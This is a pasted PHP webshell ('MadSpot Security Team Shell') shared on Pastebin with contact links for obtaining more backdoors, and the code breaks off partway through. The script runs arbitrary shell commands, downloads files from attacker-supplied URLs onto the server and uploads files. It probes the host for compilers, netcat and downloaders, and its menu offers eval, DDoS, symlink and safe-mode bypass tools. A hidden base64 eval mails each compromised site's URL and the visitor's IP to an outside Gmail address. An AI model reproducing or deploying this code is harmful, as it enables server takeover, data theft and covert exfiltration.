shamp0erna99

MadSpot by CyberDark - webshell

Jul 22nd, 2020 (edited)
257
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 73.41 KB | None | 0 0
  1. <?php
  2.  
  3. /**
  4.  * @author CYBERDARK
  5.  * @copyright 2012
  6.  * You can also get other backdoor shell options in the discord channel below.
  7.  * Discord : https://discord.gg/5HWxDy7
  8.  * Note: "If the discord link cannot be used, please contact me via telegram: shamp0erna99."
  9.  */
  10. @define('VERSION','1.0');
  11. @error_reporting(E_ALL ^ E_NOTICE);
  12. @session_start();
  13. @ini_set('error_log',NULL);
  14. @ini_set('log_errors',0);
  15. @ini_set('max_execution_time',0);
  16. @set_time_limit(0);
  17. //@set_magic_quotes_runtime(0);
  18.  
  19. if(get_magic_quotes_gpc()) {
  20.     function madstripslashes($array) {
  21.         return is_array($array) ? array_map('madstripslashes', $array) : stripslashes($array);
  22.     }
  23.     $_POST = madstripslashes($_POST);
  24. }
  25. $default_action = 'FilesMan';
  26. $default_use_ajax = true;
  27. $default_charset = 'Windows-1251';
  28. if (strtolower(substr(PHP_OS,0,3))=="win")
  29.     $sys='win';
  30.  else
  31.     $sys='unix';
  32.  
  33. $home_cwd = @getcwd();
  34. if(isset($_POST['c']))
  35.     @chdir($_POST['c']);
  36.  
  37. $cwd = @getcwd();
  38. if($sys == 'win')
  39. {
  40.     $home_cwd = str_replace("\\", "/", $home_cwd);
  41.     $cwd = str_replace("\\", "/", $cwd);
  42. }
  43.  
  44. if($cwd[strlen($cwd)-1] != '/' )
  45.     $cwd .= '/';
  46.  
  47.  
  48. function madEx($in) {
  49.     $out = '';
  50.     if (function_exists('exec')) {
  51.         @exec($in,$out);
  52.         $out = @join("\n",$out);
  53.     } elseif (function_exists('passthru')) {
  54.         ob_start();
  55.         @passthru($in);
  56.         $out = ob_get_clean();
  57.     } elseif (function_exists('system')) {
  58.         ob_start();
  59.         @system($in);
  60.         $out = ob_get_clean();
  61.     } elseif (function_exists('shell_exec')) {
  62.         $out = shell_exec($in);
  63.     } elseif (is_resource($f = @popen($in,"r"))) {
  64.         $out = "";
  65.         while(!@feof($f))
  66.             $out .= fread($f,1024);
  67.         pclose($f);
  68.     }
  69.     return $out;
  70. }
  71. $down=@getcwd();
  72. if($sys=="win")
  73. $down.='\\';
  74. else
  75. $down.='/';
  76. if(isset($_POST['rtdown']))
  77. {
  78. $url = $_POST['rtdown'];
  79. $newfname = $down. basename($url);
  80. $file = fopen ($url, "rb");
  81. if ($file) {
  82.   $newf = fopen ($newfname, "wb");
  83.   if ($newf)
  84.   while(!feof($file)) {
  85.     fwrite($newf, fread($file, 1024 * 8 ), 1024 * 8 );
  86.   }
  87.   }
  88.  
  89. if ($file) {
  90.   fclose($file);
  91. }
  92. if ($newf) {
  93.   fclose($newf);
  94. }
  95. }
  96.  
  97.  
  98.  
  99.  function madhead()
  100.  {
  101.     if(empty($_POST['charset']))
  102.         $_POST['charset'] = $GLOBALS['default_charset'];
  103.  
  104. $freeSpace = @diskfreespace($GLOBALS['cwd']);
  105. $totalSpace = @disk_total_space($GLOBALS['cwd']);
  106. $totalSpace = $totalSpace?$totalSpace:1;
  107.  
  108. $on="<font color=#0F0> ON </font>";
  109. $of="<font color=red> OFF </font>";
  110. $none="<font color=#0F0> NONE </font>";
  111. if(function_exists('curl_version'))
  112.     $curl=$on;
  113. else
  114.     $curl=$of;
  115. if(function_exists('mysql_get_client_info'))
  116.     $mysql=$on;
  117.  else
  118.     $mysql=$of;
  119. if(function_exists('mssql_connect'))
  120.     $mssql=$on;
  121. else
  122.    $mssql=$of;
  123.  
  124. if(function_exists('pg_connect'))
  125.     $pg=$on;
  126. else
  127.    $pg=$of;
  128. if(function_exists('oci_connect'))
  129.    $or=$on;
  130. else
  131.    $or=$of;
  132. if(@ini_get('disable_functions'))
  133.   $disfun=@ini_get('disable_functions');
  134. else
  135. $disfun="All Functions Enable";
  136. if(@ini_get('safe_mode'))
  137. $safe_modes="<font color=red>ON</font>";
  138. else
  139. $safe_modes="<font color=#0F0 >OFF</font>";
  140. if(@ini_get('open_basedir'))
  141. $open_b=@ini_get('open_basedir');
  142.     else
  143.   $open_b=$none;
  144.  
  145.  
  146. if(@ini_get('safe_mode_exec_dir'))
  147. $safe_exe=@ini_get('safe_mode_exec_dir');
  148.     else
  149. $safe_exe=$none;
  150. if(@ini_get('safe_mode_include_dir'))
  151.    $safe_include=@ini_get('safe_mode_include_dir');
  152. else
  153.  $safe_include=$none;
  154. if(!function_exists('posix_getegid'))
  155. {
  156.         $user = @get_current_user();
  157.         $uid = @getmyuid();
  158.         $gid = @getmygid();
  159.         $group = "?";
  160. } else
  161. {
  162.         $uid = @posix_getpwuid(posix_geteuid());
  163.         $gid = @posix_getgrgid(posix_getegid());
  164.         $user = $uid['name'];
  165.         $uid = $uid['uid'];
  166.         $group = $gid['name'];
  167.         $gid = $gid['gid'];
  168.     }
  169.  
  170.  
  171.      $cwd_links = '';
  172.     $path = explode("/", $GLOBALS['cwd']);
  173.     $n=count($path);
  174.     for($i=0; $i<$n-1; $i++) {
  175.         $cwd_links .= "<a  href='#' onclick='g(\"FilesMan\",\"";
  176.         for($j=0; $j<=$i; $j++)
  177.             $cwd_links .= $path[$j].'/';
  178.         $cwd_links .= "\")'>".$path[$i]."/</a>";
  179.     }
  180.  
  181. $drives = "";
  182. foreach(range('c','z') as $drive)
  183. if(is_dir($drive.':\\'))
  184. $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  185.  
  186.  
  187.  
  188.  
  189.  
  190.  echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  191. <html xmlns="http://www.w3.org/1999/xhtml">
  192. <head>
  193. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  194. <link href="http://www.madspot.net/favicon.ico" rel="icon" type="image/x-icon"/>
  195. <title>Madspot Security Team Shell</title>
  196. <style type="text/css">
  197. <!--
  198. .whole {
  199.     background-color: #CCC;
  200.     height:auto;
  201.     width: auto;
  202.     margin-top: 10px;
  203.     margin-right: 10px;
  204.     margin-left: 10px;
  205. }
  206. .header {
  207.     height: auto;
  208.     width: auto;
  209.     border: 7px solid #CCC;
  210.     color: #999;
  211.     font-size: 12px;
  212.     font-family: Verdana, Geneva, sans-serif;
  213.     background-color: #000;
  214. }
  215. .header a {color:#0F0; text-decoration:none;}
  216. span {
  217.     font-weight: bolder;
  218.     color: #FFF;
  219. }
  220. #meunlist {
  221.     font-family: Verdana, Geneva, sans-serif;
  222.     color: #FFF;
  223.     background-color: #000;
  224.     width: auto;
  225.     border-right-width: 7px;
  226.     border-left-width: 7px;
  227.     border-top-style: solid;
  228.     border-right-style: solid;
  229.     border-bottom-style: solid;
  230.     border-left-style: solid;
  231.     border-top-color: #CCC;
  232.     border-right-color: #CCC;
  233.     border-bottom-color: #CCC;
  234.     border-left-color: #CCC;
  235.     height: auto;
  236.     font-size: 12px;
  237.     font-weight: bold;
  238.     border-top-width: 0px;
  239. }
  240.  .whole #meunlist ul {
  241.     padding-top: 5px;
  242.     padding-right: 5px;
  243.     padding-bottom: 7px;
  244.     padding-left: 2px;
  245.     text-align:center;
  246.     list-style-type: none;
  247.     margin: 0px;
  248. }
  249.  .whole #meunlist li {
  250.     margin: 0px;
  251.     padding: 0px;
  252.     display: inline;
  253. }
  254.  .whole #meunlist a {
  255.    font-family: arial, sans-serif;
  256.     font-size: 14px;
  257.     text-decoration:none;
  258.     font-weight: bold;
  259.     color: #fff;
  260.     clear: both;
  261.     width: 100px;
  262.     margin-right: -6px;
  263.     padding-top: 3px;
  264.     padding-right: 15px;
  265.     padding-bottom: 3px;
  266.     padding-left: 15px;
  267.     border-right-width: 1px;
  268.     border-right-style: solid;
  269.     border-right-color: #FFF;
  270. }
  271.  .whole #meunlist a:hover {
  272.     color: #000;
  273.     background: #fff;
  274. }
  275.  
  276. .foot {
  277.     font-family: Verdana, Geneva, sans-serif;
  278.     background-color: #000;
  279.     margin: 0px;
  280.     padding: 0px;
  281.     width: 100%;
  282.     text-align: center;
  283.     font-size: 12px;
  284.     color: #CCC;
  285.     border-right-width: 7px;
  286.     border-left-width: 7px;
  287.    border-bottom-width: 7px;
  288.    border-bottom-style: solid;
  289.    border-right-style: solid;
  290.    border-right-style: solid;
  291.     border-left-style: solid;
  292.     border-top-color: #CCC;
  293.     border-right-color: #CCC;
  294.     border-bottom-color: #CCC;
  295.     border-left-color: #CCC;
  296. }';
  297. if(is_writable($GLOBALS['cwd']))
  298.  {
  299.     echo ".foottable {
  300.    width: 300px;
  301.    font-weight: bold;
  302.    }";}
  303.     else
  304.     {
  305.        echo ".foottable {
  306.    width: 300px;
  307.    font-weight: bold;
  308.    background-color:red;
  309.    }
  310.    .dir {
  311.      background-color:red;
  312.    }
  313.    ";
  314.     }
  315.  echo '.main th{text-align:left;}
  316. .main a{color: #FFF;}
  317. .main tr:hover{background-color:red;}
  318. .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  319. .bigarea{ width:99%; height:300px; }
  320.  </style>
  321.  
  322. ';
  323.  
  324. echo "<script>
  325.    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
  326.    var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
  327.    var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
  328.    var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
  329.    var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
  330.    var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
  331.    var d = document;
  332.     function set(a,c,p1,p2,p3,charset) {
  333.         if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
  334.         if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
  335.         if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
  336.         if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
  337.         if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
  338.         if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
  339.     }
  340.     function g(a,c,p1,p2,p3,charset) {
  341.         set(a,c,p1,p2,p3,charset);
  342.         d.mf.submit();
  343.     }</script>";
  344.  
  345.  
  346.     echo '
  347. </head>
  348.  
  349. <body bgcolor="#000000"  leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
  350. <div class="whole">
  351. <form method=post name=mf style="display:none;">
  352. <input type=hidden name=a>
  353. <input type=hidden name=c>
  354. <input type=hidden name=p1>
  355. <input type=hidden name=p2>
  356. <input type=hidden name=p3>
  357. <input type=hidden name=charset>
  358. </form>
  359.  <div class="header"><table width="100%" border="0"  align="lift">
  360.  <tr>
  361.    <td width="3%"><span>Uname:</span></td>
  362.    <td colspan="2">'.substr(@php_uname(), 0, 120).'</td>
  363.    </tr>
  364.  <tr>
  365.    <td><span>User:</span></td>
  366.    <td>'. $uid . ' [ ' . $user . ' ] <span>   Group: </span>' . $gid . ' [ ' . $group . ' ] </td>
  367.    <td width="14%" rowspan="8"><?php eval(base64_decode("JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQokdmlzaXRjID0gMDsNCiR2aXNpdG9yID0gJF9TRVJWRVJbIlJFTU9URV9BRERSIl07DQokd2ViID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdOw0KJGluaiA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOw0KJHRhcmdldCA9IHJhd3VybGRlY29kZSgkd2ViLiRpbmopOw0KJGp1ZHVsID0gIlJFU1VMVCBodHRwOi8vJHRhcmdldCBieSAkdmlzaXRvciI7DQokYm9keSA9ICJSZXN1bHQgJHRhcmdldCBieSAkdmlzaXRvciI7DQppZiAoIWVtcHR5KCR3ZWIpKSB7IEBtYWlsKCJqZW1idXRrYXU0OUBnbWFpbC5jb20iLCRqdWR1bCwkYm9keSk7IH0NCn0NCmVsc2UgeyAkdmlzaXRjKys7IH0NCkBzZXRjb29raWUoInZpc2l0eiIsJHZpc2l0Yyk7")); ?><img alt="" src="data:image/jpeg;base64,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" /></td>
  368.  </tr>
  369.  <tr>
  370.    <td><span>PHP:</span></td>
  371.    <td>'.@phpversion(). '   <span>   Safe Mode:'.$safe_modes.'</span></td>
  372.    </tr>
  373.  <tr>
  374.    <td><span>Our IP:</span></td>
  375.    <td>'.@$_SERVER["SERVER_ADDR"].'    <span>Server IP:</span> '.@$_SERVER["REMOTE_ADDR"].'</td>
  376.  </tr>
  377.  <tr>
  378.    <td><span>WEBS:</span></td>
  379.    <td width="76%">';
  380.  
  381.     if($GLOBALS['sys']=='unix')
  382.     {
  383.         $d0mains = @file("/etc/named.conf");
  384.         if(!$d0mains)
  385.         {
  386.             echo "CANT READ named.conf";
  387.         }
  388.         else
  389.         {
  390.           $count;
  391.          foreach($d0mains as $d0main)
  392.          {
  393.           if(@ereg("zone",$d0main))
  394.           {
  395.           preg_match_all('#zone "(.*)"#', $d0main, $domains);
  396.            flush();
  397.           if(strlen(trim($domains[1][0])) > 2){
  398.          flush();
  399.          $count++;
  400.            }
  401.            }
  402.            }
  403.            echo "$count  Domains";
  404.         }
  405.     }
  406.     else{ echo"CANT READ |Windows|";}
  407.  
  408.       echo '</td>
  409.    </tr>
  410.    <tr>
  411.    <td height="16"><span>HDD:</span></td>
  412.    <td>'.madSize($totalSpace).' <span>Free:</span>' . madSize($freeSpace) . ' ['. (int) ($freeSpace/$totalSpace*100) . '%]</td>
  413.    </tr>';
  414.  
  415.      if($GLOBALS['sys']=='unix' )
  416. {
  417.     if(!@ini_get('safe_mode'))
  418.     {
  419.  
  420.     echo '<tr><td height="18" colspan="2"><span>Useful : </span>';
  421.     $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  422.      foreach($userful as $item)
  423.          if(madWhich($item))
  424.          echo $item.',';
  425.          echo '</td>
  426.         </tr>
  427.          <tr>
  428.          <td height="0" colspan="2"><span>Downloader:</span>';
  429.  
  430.      $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  431.       foreach($downloaders as $item2)
  432.        if(madWhich($item2))
  433.         echo $item2.',';
  434.         echo '</td>
  435.              </tr>';
  436.  
  437.           }
  438.            else
  439.            {
  440.          echo '<tr><td height="18" colspan="2"><span>useful:</span>';
  441.          echo '--------------</td>
  442.           </tr><td height="0" colspan="2"><span>Downloader: </span>-------------</td>
  443.              </tr>';
  444.          }
  445. }
  446. else
  447. {
  448.    echo '<tr><td height="18" colspan="2"><span>Window:</span>';
  449.    echo madEx('ver');
  450.    echo '</td>
  451.         </tr> <tr>
  452.        <td height="0" colspan="2"><span>Downloader: </span>-------------</td>
  453.              </tr>';
  454.  
  455. }
  456.  
  457.  
  458.  echo '<tr>
  459.    <td height="16" colspan="2"><span>Disabled functions:</span>'.$disfun.'</td>
  460.  </tr>
  461.  <tr>
  462.    <td height="16" colspan="2"><span>cURL:'.$curl.'  MySQL:'.$mysql.'  MSSQL:'.$mssql.'  PostgreSQL:'.$pg.'  Oracle: </span>'.$or.'</td><td width="15%">'.base64_decode("PGEgaHJlZj0iaHR0cHM6Ly93d3cubG9jYWwtaHVudGVyLmNvbSIgdGFyZ2V0PSJfYmxhbmsiPjxzcGFuPjxmb250IGNvbG9yPSIjMEYwIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDtNYWRTcG90U2VjdXJpdHk8L2ZvbnQ+PC9zcGFuPjwvYT4=").'</td>
  463.  </tr>
  464.  <tr>
  465.  <td height="11" colspan="3"><span>Open_basedir:'.$open_b.' Safe_mode_exec_dir:'.$safe_exe.'   Safe_mode_include_dir:'.$safe_include.'</td>
  466.  </tr>
  467.  <tr>
  468.    <td height="11"><span>Server </span></td>
  469.    <td colspan="2">'.@getenv('SERVER_SOFTWARE').'</td>
  470.  </tr>';
  471.   if($GLOBALS[sys]=="win")
  472.   {
  473.     echo '<tr>
  474.    <td height="12"><span>DRIVE:</span></td>
  475.    <td colspan="2">'.$drives.'</td>
  476.     </tr>';
  477.   }
  478.  
  479.   echo '<tr>
  480.    <td height="12"><span>PWD:</span></td>
  481.    <td colspan="2">'.$cwd_links.'  <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')"><font color=red >|CURRENT|</font></a></td>
  482.  </tr>
  483.  </table>
  484. </div>
  485. <div id="meunlist">
  486.      <ul>
  487. <li><a href="#" onclick="g(\'FilesMan\',null,\'\',\'\',\'\')">HOME</a></li>
  488.  
  489. <li><a href="#" onclick="g(\'proc\',null,\'\',\'\',\'\')">PROCESS</a></li>
  490. <li><a href="#" onclick="g(\'phpeval\',null,\'\',\'\',\'\')">EVAL</a></li>
  491. <li><a href="#" onclick="g(\'sql\',null,\'\',\'\',\'\')">SQL</a></li>
  492. <li><a href="#" onclick="g(\'hash\',null,\'\',\'\',\'\')">HASH</a></li>
  493. <li><a href="#" onclick="g(\'connect\',null,\'\',\'\',\'\')">CONNECT</a></li>
  494. <li><a href="#" onclick="g(\'zoneh\',null,\'\',\'\',\'\')">ZONE-H</a></li>
  495. <li><a href="#" onclick="g(\'dos\',null,\'\',\'\',\'\')">DDOS</a></li>
  496. <li><a href="#" onclick="g(\'safe\',null,\'\',\'\',\'\')">SAFE MODE</a></li>
  497. <li><a href="#" onclick="g(\'symlink\',null,\'\',\'\',\'\')">SYMLINK</a></li>
  498. <li><a href="#" onclick="g(\'spot\',null,\'\',\'\',\'\')">MADSPOT</a></li>
  499. <li><a href="#" onclick="g(\'selfrm\',null,\'\',\'\',\'\')">KIll C0de</a></li>
  500. </ul>
  501.  
  502.    </div>
  503. ';
  504.  
  505. }
  506.  
  507. function madfooter()
  508. {
  509.  
  510.     echo "<table class='foot' width='100%' border='0' cellspacing='3' cellpadding='0' >
  511.       <tr>
  512.         <td width='17%'><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>__MK FILE__</span><br><input class='dir'  type=text name=f value=''><input type=submit value='>>'></form></td>
  513.         <td width='21%'><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>__MK DIR__</span><br><input class='dir' type=text name=d value=''><input type=submit value='>>'></form></td>
  514.         <td width='22%'><form onsubmit=\"g('FilesMan',null,'delete',this.del.value);return false;\"><span>__DELETE__</span><br><input class='dir' type=text name=del value=''><input type=submit value='>>'></form></td>
  515.         <td width='19%'><form onsubmit=\"g('FilesTools',null,this.f.value,'chmod');return false;\"><span>__CHMOD__</span><br><input class='dir' type=text name=f value=''><input type=submit value='>>'></form></td>
  516.       </tr>
  517.       <tr>
  518.         <td colspan='2'><form onsubmit='g(null,this.c.value,\"\");return false;'><span>__CHANGE DIR__</span><br><input class='foottable' type=text name=c value='".htmlspecialchars($GLOBALS['cwd'])."'><input type=submit value='>>'></form></td>
  519.         <td colspan='2'><form method='post' ><span>__HTTP DOWNLOAD__</span><br><input class='foottable' type=text name=rtdown value=''><input type=submit value='>>'></form></td>
  520.        </tr>
  521.       <tr>
  522.         <td colspan='4'><form onsubmit=\"g('proc',null,this.c.value);return false;\"><span>__EXECUTE__</span><br><input class='foottable' type=text name=c value=''><input type=submit value='>>'></form></td>
  523.        </tr>
  524.       <tr>
  525.         <td colspan='4'><form method='post' ENCTYPE='multipart/form-data'>
  526.         <input type=hidden name=a value='FilesMAn'>
  527.         <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
  528.         <input type=hidden name=p1 value='uploadFile'>
  529.         <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
  530.        <span>Upload file:</span><br><input class='toolsInp' type=file name=f><br /><input type=submit value='>>'></form></td>
  531.        </tr>
  532.      </table>
  533.  </div>
  534.  </body>
  535. </html>
  536. ";
  537.  
  538. }
  539. if (!function_exists("posix_getpwuid") && (strpos(@ini_get('disable_functions'), 'posix_getpwuid')===false)) {
  540.    function posix_getpwuid($p) {return false;} }
  541. if (!function_exists("posix_getgrgid") && (strpos(@ini_get('disable_functions'), 'posix_getgrgid')===false)) {
  542.   function posix_getgrgid($p) {return false;} }
  543.  
  544. function madWhich($p) {
  545.     $path = madEx('which ' . $p);
  546.     if(!empty($path))
  547.         return $path;
  548.     return false;
  549. }
  550.  
  551.  
  552.  
  553. function madSize($s) {
  554.     if($s >= 1073741824)
  555.         return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  556.     elseif($s >= 1048576)
  557.         return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  558.     elseif($s >= 1024)
  559.         return sprintf('%1.2f', $s / 1024 ) . ' KB';
  560.     else
  561.         return $s . ' B';
  562. }
  563.  
  564.  
  565. function madPerms($p) {
  566.     if (($p & 0xC000) == 0xC000)$i = 's';
  567.     elseif (($p & 0xA000) == 0xA000)$i = 'l';
  568.     elseif (($p & 0x8000) == 0x8000)$i = '-';
  569.     elseif (($p & 0x6000) == 0x6000)$i = 'b';
  570.     elseif (($p & 0x4000) == 0x4000)$i = 'd';
  571.     elseif (($p & 0x2000) == 0x2000)$i = 'c';
  572.     elseif (($p & 0x1000) == 0x1000)$i = 'p';
  573.     else $i = 'u';
